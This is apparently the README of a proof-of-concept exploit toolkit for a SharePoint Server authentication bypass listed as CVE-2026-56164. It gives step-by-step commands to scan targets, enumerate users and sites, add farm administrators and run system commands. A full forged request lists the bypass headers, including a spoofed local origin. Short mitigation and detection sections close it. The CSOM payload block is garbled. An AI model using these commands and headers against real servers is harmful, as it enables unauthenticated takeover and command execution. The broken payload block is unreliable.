## https://sploitus.com/exploit?id=3B6B8885-4E87-532F-A543-2AB503CB3ABA
# CVE-2026-56164 — Microsoft SharePoint Server Authentication Bypass Exploit
> **Critical (CVSS 9.8)** — Unauthenticated Privilege Escalation to Farm Administrator in Microsoft SharePoint Server
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Affected Versions](#affected-versions)
- [Architecture Diagrams](#architecture-diagrams)
- [Project Structure](#project-structure)
- [Installation](#installation)
- [Scanner Usage — Step by Step](#scanner-usage--step-by-step)
- [Exploit Usage — Step by Step](#exploit-usage--step-by-step)
- [Payload Design](#payload-design)
- [Mitigation](#mitigation)
- [Disclaimer](#disclaimer)
---
## Overview
CVE-2026-56164 is a critical missing authentication vulnerability in **Microsoft SharePoint Server** that allows an unauthenticated remote attacker to elevate privileges to **Farm Administrator** level. The vulnerability resides in the `Microsoft.Office.Server.UserProfiles` assembly which processes SOAP requests at `/_vti_bin/client.svc/ProcessQuery`.
By intentionally omitting the `X-RequestDigest` header and supplying specific routing headers, the vulnerable server falls back to an elevated security context instead of rejecting the unauthenticated request. This allows anonymous attackers to enumerate site collections, users, farm configuration, add administrators, and execute commands.
**CISA KEV**: This vulnerability is listed in CISA's Known Exploited Vulnerabilities Catalog due to **active exploitation in the wild**.
---
## Vulnerability Details
| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-56164 |
| **Severity** | CRITICAL |
| **CVSS 3.1** | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| **CWE** | CWE-306: Missing Authentication for Critical Function |
| **Impact** | Unauthenticated Elevation of Privilege to Farm Administrator |
| **Exploitation Status** | Active exploitation (CISA KEV) |
| **MITRE ATT&CK** | T1190 (Exploit Public-Facing Application) |
### Root Cause
The `Microsoft.Office.Server.UserProfiles` handler processes SOAP requests at `/_vti_bin/client.svc/ProcessQuery`. Under normal operations, SharePoint validates the `X-RequestDigest` header to assert authentication context. However, a validation bypass exists:
1. If `X-RequestDigest` is **absent** AND specific routing headers are present
2. The system evaluates routing parameters and falls back to a **highly privileged default state**
3. The request is processed with **system-level credentials** instead of the caller's security context
### Vulnerable Code Path
```csharp
// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
```
### Patched Code
```csharp
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
```
### Advisory References
- **MSRC**: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
- **CISA KEV**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164
---
## Affected Versions
| Product | Affected Versions | Patched Version |
|---------|-------------------|-----------------|
| SharePoint Enterprise Server 2016 | All 16.0.x prior to patch | 16.0.5561.1001 |
| SharePoint Server 2019 | All 16.0.x prior to patch | 16.0.10417.20175 |
| SharePoint Server Subscription Edition | All 16.0.x prior to patch | 16.0.19725.20434 |
**Not impacted**: SharePoint Online (Microsoft 365)
---
## Architecture Diagrams
### System Architecture
```
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
```
### Scanner Flow
```
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
```
### Exploit Flow (Full Chain)
```
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
```
---
## Project Structure
```
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
```
---
## Installation
```bash
# Clone the repository
git clone git@github.com:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
```
**Requirements**: Python 3.8+, `requests` library (optional — stdlib `urllib` is used by default).
---
## Scanner Usage — Step by Step
The scanner performs safe, non-intrusive checks to identify vulnerable SharePoint Server targets.
### Step 1: Scan a Single Target
```bash
python3 scan.py --target sharepoint.example.com
```
The scanner will:
- Probe common ports (443, 80, 8080, 8443)
- Send HTTP requests and check for SharePoint fingerprints (headers, body content)
- Extract SharePoint version from `MicrosoftSharePointTeamServices` header
- Check if the version falls within vulnerable ranges
- Test the authentication bypass (optional)
- Print a color-coded report
### Step 2: Scan with Specific Port
```bash
python3 scan.py --target sharepoint.example.com --port 443
```
### Step 3: Scan Multiple Targets from File
Create a file `targets.txt`:
```
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
```
```bash
python3 scan.py --targets targets.txt
```
### Step 4: Skip Bypass Testing (Fingerprint Only)
```bash
python3 scan.py --target sharepoint.example.com --no-bypass-test
```
### Step 5: Save Results as JSON
```bash
python3 scan.py --target sharepoint.example.com --json scan_results.json
```
### What the Scanner Detects
| Indicator | Method |
|-----------|--------|
| SharePoint Server | HTTP header fingerprinting (`MicrosoftSharePointTeamServices`, `SPRequestGuid`) |
| Server version | Header parsing + response body regex |
| Vulnerable version | Comparison against CVE-2026-56164 patched versions |
| Auth bypass | CSOM request without `X-RequestDigest` + bypass routing headers |
| SSL certificate | Certificate subject/issuer for target identification |
---
## Exploit Usage — Step by Step
The exploit supports five modes of increasing intensity.
### Mode 1: Detect (Safe, Non-Intrusive)
Tests the authentication bypass by comparing a normal request (with digest) to a bypass request (without digest + routing headers).
```bash
python3 exploit.py --target sharepoint.example.com --mode detect
```
### Mode 2: Enumerate (Information Disclosure)
Extracts site collections, users, and farm configuration using the auth bypass.
```bash
python3 exploit.py --target sharepoint.example.com --mode enumerate
```
### Mode 3: Elevate (Privilege Escalation)
Elevates the current anonymous context or a specific user to Site Collection / Farm Administrator.
```bash
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
```
### Mode 4: Execute (Command Execution)
Executes a system command via the SharePoint Administration SOAP service.
```bash
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
```
### Mode 5: Full Chain (Detect → Enumerate → Elevate → Execute)
Runs the complete exploit chain in sequence.
```bash
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
```
### Common Options
- `--port` / `-p`: Target port (default: 443)
- `--http`: Use HTTP instead of HTTPS
- `--site-url` / `-s`: SharePoint site URL (default: target)
- `--json` / `-j`: Save report as JSON
- `--timeout`: Request timeout in seconds (default: 30)
---
## Payload Design
### Authentication Bypass Mechanism
```
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
```
### CSOM Payload Structure
```xml
[Detection / Enumeration / Elevation actions]
Current
16.0.0
{TARGET}
```
### Bypass Routing Headers
| Header | Value | Purpose |
|--------|-------|---------|
| `X-SharePoint-Authenticated` | `1` | Claim authentication already passed |
| `X-SP-RequestRights` | `FullControl` | Request full control permissions |
| `X-SP-RequestRights2` | `ManageLists, ManageWeb` | Additional management rights |
| `SPHomeBearerHint` | `farmadmin` | Hint at farm admin context |
| `X-RequestForceAuthentication` | `false` | Disable forced authentication |
| `X-SP-Proxy` | `internal` | Claim internal proxy origin |
| `X-Forwarded-For` | `127.0.0.1` | Spoof local origin |
| `X-Original-URL` | `/_vti_bin/client.svc/ProcessQuery` | Routing directive |
---
## Mitigation
### Immediate Actions
1. **Apply Microsoft security updates** — Install the July 2026 SharePoint patches
2. **Restrict access** — Limit SharePoint endpoints to trusted networks only
3. **Block external access** to `/_vti_bin/` endpoints via reverse proxy/WAF rules
4. **Monitor logs** for unauthenticated requests to `/_vti_bin/client.svc/ProcessQuery`
### Fixed Versions
- SharePoint Enterprise Server 2016: 16.0.5561.1001+
- SharePoint Server 2019: 16.0.10417.20175+
- SharePoint Server Subscription Edition: 16.0.19725.20434+
### Detection
- Look for POST requests to `/_vti_bin/client.svc/ProcessQuery` without `X-RequestDigest` header
- Look for requests with multiple bypass routing headers (`X-SharePoint-Authenticated`, `SPHomeBearerHint`, etc.)
- Monitor for unexpected Site Collection Administrator additions
- Alert on SOAP requests to `/_vti_bin/SharePointAdmin.asmx` from unauthenticated sources
---
## Disclaimer
This tool is provided for **authorized security testing and educational purposes only**. Only use against systems you own or have explicit written permission to test. Unauthorized use against production systems is illegal and may violate computer fraud and abuse laws.
The authors assume no liability for misuse of this tool. Always follow responsible disclosure practices and adhere to applicable laws and regulations.